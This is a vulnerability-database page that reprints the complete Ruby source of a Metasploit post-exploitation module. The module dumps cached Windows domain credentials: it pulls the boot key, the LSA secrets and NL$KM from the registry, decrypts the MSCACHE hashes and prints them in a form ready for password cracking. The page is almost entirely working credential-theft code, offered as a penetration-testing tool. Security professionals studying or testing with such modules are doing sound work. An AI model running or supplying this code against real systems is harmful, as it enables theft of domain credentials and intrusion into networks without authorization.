Lucene search
K

Windows Gather Credential Cache Dump

🗓️ 29 Jan 2013 04:29:50Reported by Maurizio Agazzini <[email protected]>, mubix <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 50 Views

Windows Gather Credential Cache Dump module extracts stored domain hashes using the registry, as a result of a GPO setting. Windows default setting is to store the last ten successful logins

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'English'
class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Credential Cache Dump',
        'Description' => %q{
          This module uses the registry to extract the stored domain hashes that have been
          cached as a result of a GPO setting. The default setting on Windows is to store
          the last ten successful logins.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maurizio Agazzini <inode[at]mediaservice.net>',
          'mubix'
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_registry_open_key
            ]
          }
        }
      )
    )
  end

  def check_gpo
    gposetting = registry_getvaldata('HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'CachedLogonsCount')
    print_status("Cached Credentials Setting: #{gposetting} - (Max is 50 and 0 disables, and 10 is default)")
  end

  def capture_nlkm(lsakey)
    nlkm = registry_getvaldata('HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal', '')

    vprint_status("Encrypted NL$KM: #{nlkm.unpack('H*')[0]}")

    if lsa_vista_style?
      nlkm_dec = decrypt_lsa_data(nlkm, lsakey)
    elsif sysinfo['Architecture'] == ARCH_X64
      nlkm_dec = decrypt_secret_data(nlkm[0x10..], lsakey)
    else # 32 bits
      nlkm_dec = decrypt_secret_data(nlkm[0xC..], lsakey)
    end

    return nlkm_dec
  end

  def parse_decrypted_cache(dec_data, s)
    i = 0
    hash = dec_data[i, 0x10]
    i += 72

    username = dec_data[i, s.userNameLength].split("\x00\x00").first.gsub("\x00", '')
    i += s.userNameLength
    i += 2 * ((s.userNameLength / 2) % 2)

    vprint_good "Username\t\t: #{username}"
    vprint_good "Hash\t\t: #{hash.unpack('H*')[0]}"

    if lsa_vista_style?
      if (s.iterationCount > 10240)
        iterationCount = s.iterationCount & 0xfffffc00
      else
        iterationCount = s.iterationCount * 1024
      end
      vprint_good "Iteration count\t: #{s.iterationCount} -> real #{iterationCount}"
    end

    last = Time.at(s.lastAccess)
    vprint_good "Last login\t\t: #{last.strftime('%F %T')} "

    domain = dec_data[i, s.domainNameLength + 1]
    i += s.domainNameLength

    if (s.dnsDomainNameLength != 0)
      dnsDomainName = dec_data[i, s.dnsDomainNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.dnsDomainNameLength
      i += 2 * ((s.dnsDomainNameLength / 2) % 2)
      vprint_good "DNS Domain Name\t: #{dnsDomainName}"
    end

    if (s.upnLength != 0)
      upn = dec_data[i, s.upnLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.upnLength
      i += 2 * ((s.upnLength / 2) % 2)
      vprint_good "UPN\t\t\t: #{upn}"
    end

    if (s.effectiveNameLength != 0)
      effectiveName = dec_data[i, s.effectiveNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.effectiveNameLength
      i += 2 * ((s.effectiveNameLength / 2) % 2)
      vprint_good "Effective Name\t: #{effectiveName}"
    end

    if (s.fullNameLength != 0)
      fullName = dec_data[i, s.fullNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.fullNameLength
      i += 2 * ((s.fullNameLength / 2) % 2)
      vprint_good "Full Name\t\t: #{fullName}"
    end

    if (s.logonScriptLength != 0)
      logonScript = dec_data[i, s.logonScriptLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.logonScriptLength
      i += 2 * ((s.logonScriptLength / 2) % 2)
      vprint_good "Logon Script\t\t: #{logonScript}"
    end

    if (s.profilePathLength != 0)
      profilePath = dec_data[i, s.profilePathLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.profilePathLength
      i += 2 * ((s.profilePathLength / 2) % 2)
      vprint_good "Profile Path\t\t: #{profilePath}"
    end

    if (s.homeDirectoryLength != 0)
      homeDirectory = dec_data[i, s.homeDirectoryLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.homeDirectoryLength
      i += 2 * ((s.homeDirectoryLength / 2) % 2)
      vprint_good "Home Directory\t\t: #{homeDirectory}"
    end

    if (s.homeDirectoryDriveLength != 0)
      homeDirectoryDrive = dec_data[i, s.homeDirectoryDriveLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.homeDirectoryDriveLength
      i += 2 * ((s.homeDirectoryDriveLength / 2) % 2)
      vprint_good "Home Directory Drive\t: #{homeDirectoryDrive}"
    end

    vprint_good "User ID\t\t: #{s.userId}"
    vprint_good "Primary Group ID\t: #{s.primaryGroupId}"

    relativeId = []
    while (s.groupCount > 0)
      # TODO: parse attributes
      relativeId << dec_data[i, 4].unpack('V')[0]
      i += 4
      attributes = dec_data[i, 4].unpack('V')[0]
      i += 4
      s.groupCount -= 1
    end

    vprint_good "Additional groups\t: #{relativeId.join ' '}"

    if (s.logonDomainNameLength != 0)
      logonDomainName = dec_data[i, s.logonDomainNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.logonDomainNameLength
      i += 2 * ((s.logonDomainNameLength / 2) % 2)
      vprint_good "Logon domain name\t: #{logonDomainName}"
    end

    @credentials <<
      [
        username,
        hash.unpack('H*')[0],
        iterationCount,
        logonDomainName,
        dnsDomainName,
        last.strftime('%F %T'),
        upn,
        effectiveName,
        fullName,
        logonScript,
        profilePath,
        homeDirectory,
        homeDirectoryDrive,
        s.primaryGroupId,
        relativeId.join(' '),
      ]

    vprint_good '----------------------------------------------------------------------'
    if lsa_vista_style?
      return "#{username.downcase}:$DCC2$#{iterationCount}##{username.downcase}##{hash.unpack('H*')[0]}:#{dnsDomainName}:#{logonDomainName}\n"
    else
      return "#{username.downcase}:M$#{username.downcase}##{hash.unpack('H*')[0]}:#{dnsDomainName}:#{logonDomainName}\n"
    end
  end

  def parse_cache_entry(cache_data)
    j = Struct.new(
      :userNameLength,
      :domainNameLength,
      :effectiveNameLength,
      :fullNameLength,
      :logonScriptLength,
      :profilePathLength,
      :homeDirectoryLength,
      :homeDirectoryDriveLength,
      :userId,
      :primaryGroupId,
      :groupCount,
      :logonDomainNameLength,
      :logonDomainIdLength,
      :lastAccess,
      :last_access_time,
      :revision,
      :sidCount,
      :valid,
      :iterationCount,
      :sifLength,
      :logonPackage,
      :dnsDomainNameLength,
      :upnLength,
      :ch,
      :enc_data
    )

    s = j.new

    s.userNameLength = cache_data[0, 2].unpack('v')[0]
    s.domainNameLength = cache_data[2, 2].unpack('v')[0]
    s.effectiveNameLength = cache_data[4, 2].unpack('v')[0]
    s.fullNameLength = cache_data[6, 2].unpack('v')[0]
    s.logonScriptLength = cache_data[8, 2].unpack('v')[0]
    s.profilePathLength = cache_data[10, 2].unpack('v')[0]
    s.homeDirectoryLength = cache_data[12, 2].unpack('v')[0]
    s.homeDirectoryDriveLength = cache_data[14, 2].unpack('v')[0]

    s.userId = cache_data[16, 4].unpack('V')[0]
    s.primaryGroupId = cache_data[20, 4].unpack('V')[0]
    s.groupCount = cache_data[24, 4].unpack('V')[0]
    s.logonDomainNameLength = cache_data[28, 2].unpack('v')[0]
    s.logonDomainIdLength = cache_data[30, 2].unpack('v')[0]

    # Removed ("Q") unpack and replaced as such
    thi = cache_data[32, 4].unpack('V')[0]
    tlo = cache_data[36, 4].unpack('V')[0]
    q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)
    s.lastAccess = ((q / 10000000) - 11644473600)

    s.revision = cache_data[40, 4].unpack('V')[0]
    s.sidCount = cache_data[44, 4].unpack('V')[0]
    s.valid = cache_data[48, 2].unpack('v')[0]
    s.iterationCount = cache_data[50, 2].unpack('v')[0]
    s.sifLength = cache_data[52, 4].unpack('V')[0]

    s.logonPackage = cache_data[56, 4].unpack('V')[0]
    s.dnsDomainNameLength = cache_data[60, 2].unpack('v')[0]
    s.upnLength = cache_data[62, 2].unpack('v')[0]

    s.ch = cache_data[64, 16]
    s.enc_data = cache_data[96..]

    return s
  end

  def decrypt_hash(edata, nlkm, ch)
    rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), nlkm, ch)
    rc4 = OpenSSL::Cipher.new('rc4')
    rc4.key = rc4key
    decrypted = rc4.update(edata)
    decrypted << rc4.final

    return decrypted
  end

  def decrypt_hash_vista(edata, nlkm, ch)
    aes = OpenSSL::Cipher.new('aes-128-cbc')
    aes.decrypt
    aes.key = nlkm[16...32]
    aes.padding = 0
    aes.iv = ch

    decrypted = ''
    (0...edata.length).step(16) do |i|
      decrypted << aes.update(edata[i, 16])
    end

    return decrypted
  end

  def run
    @credentials = Rex::Text::Table.new(
      'Header' => 'MSCACHE Credentials',
      'Indent' => 1,
      'Columns' =>
      [
        'Username',
        'Hash',
        'Hash iteration count',
        'Logon Domain Name',
        'DNS Domain Name',
        'Last Login',
        'UPN',
        'Effective Name',
        'Full Name',
        'Logon Script',
        'Profile Path',
        'Home Directory',
        'HomeDir Drive',
        'Primary Group',
        'Additional Groups'
      ]
    )

    begin
      print_status("Executing module against #{sysinfo['Computer']}")
      client.railgun.netapi32
      join_status = client.railgun.netapi32.NetGetJoinInformation(nil, 4, 4)['BufferType']

      if sysinfo['Architecture'] == ARCH_X64
        join_status &= 0x00000000ffffffff
      end

      if join_status != 3
        print_error('System is not joined to a domain, exiting..')
        return
      end

      # Check policy setting for cached creds
      check_gpo

      print_status('Obtaining boot key...')
      bootkey = capture_boot_key
      vprint_status("Boot key: #{bootkey.unpack('H*')[0]}")

      print_status('Obtaining Lsa key...')
      lsakey = capture_lsa_key(bootkey)
      if lsakey.nil?
        print_error('Could not retrieve LSA key. Are you SYSTEM?')
        return
      end

      vprint_status("Lsa Key: #{lsakey.unpack('H*')[0]}")

      print_status('Obtaining NL$KM...')
      nlkm = capture_nlkm(lsakey)
      vprint_status("NL$KM: #{nlkm.unpack('H*')[0]}")

      print_status('Dumping cached credentials...')
      ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SECURITY\\Cache', KEY_READ)

      john = ''

      ok.enum_value.each do |usr|
        if !usr.name.match(/^NL\$\d+$/)
          next
        end

        begin
          nl = ok.query_value(usr.name.to_s).data
        rescue StandardError
          next
        end

        cache = parse_cache_entry(nl)

        next unless (cache.userNameLength > 0)

        vprint_status("Reg entry: #{nl.unpack('H*')[0]}")
        vprint_status("Encrypted data: #{cache.enc_data.unpack('H*')[0]}")
        vprint_status("Ch:  #{cache.ch.unpack('H*')[0]}")

        if lsa_vista_style?
          dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
        else
          dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
        end

        vprint_status("Decrypted data: #{dec_data.unpack('H*')[0]}")

        john << parse_decrypted_cache(dec_data, cache)
      end

      if lsa_vista_style?
        print_status('Hash are in MSCACHE_VISTA format. (mscash2)')
        p = store_loot('mscache2.creds', 'text/csv', session, @credentials.to_csv, 'mscache2_credentials.txt', 'MSCACHE v2 Credentials')
        print_good("MSCACHE v2 saved in: #{p}")

        john = "# mscash2\n" + john
      else
        print_status('Hash are in MSCACHE format. (mscash)')
        p = store_loot('mscache.creds', 'text/csv', session, @credentials.to_csv, 'mscache_credentials.txt', 'MSCACHE v1 Credentials')
        print_good("MSCACHE v1 saved in: #{p}")
        john = "# mscash\n" + john
      end

      print_status('John the Ripper format:')
      print_line john
    rescue ::Interrupt
      raise $ERROR_INFO
    rescue ::Rex::Post::Meterpreter::RequestError => e
      print_error("Meterpreter Exception: #{e.class} #{e}")
      print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
6.9Medium risk
Vulners AI Score6.9
50